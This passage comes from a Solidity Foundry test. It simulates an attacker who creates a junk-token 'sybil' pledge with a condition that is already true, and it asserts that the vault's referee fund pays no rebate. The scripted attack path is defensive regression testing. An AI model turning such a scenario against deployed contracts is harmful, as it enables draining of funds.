        ms[0].chainId = 4663;
        ms[0].target = address(vault); // already deployed: true before the pledge exists
        ms[0].title = "already true";
        vm.prank(attacker);
        uint256 id = vault.createPledge(IERC20(address(junk)), attacker, "sybil", ms, 0.5 ether);

        vm.prank(attacker);
        bytes32 rid = vault.check(id, 0);
        assertEq(imd.balanceOf(oracleTreasury), 0.5 ether, "the oracle was paid the check");
        _keptVerdict(id, 0, rid);

        // The rebate is what moves hook fees out of the fund; after it, withdrawBudget returns the
        // float to the attacker, who ends with exactly the IMD it started with.
        assertEq(vault.refereeFund(), 100 ether, "an already-true junk pledge must not draw a rebate");
    }
}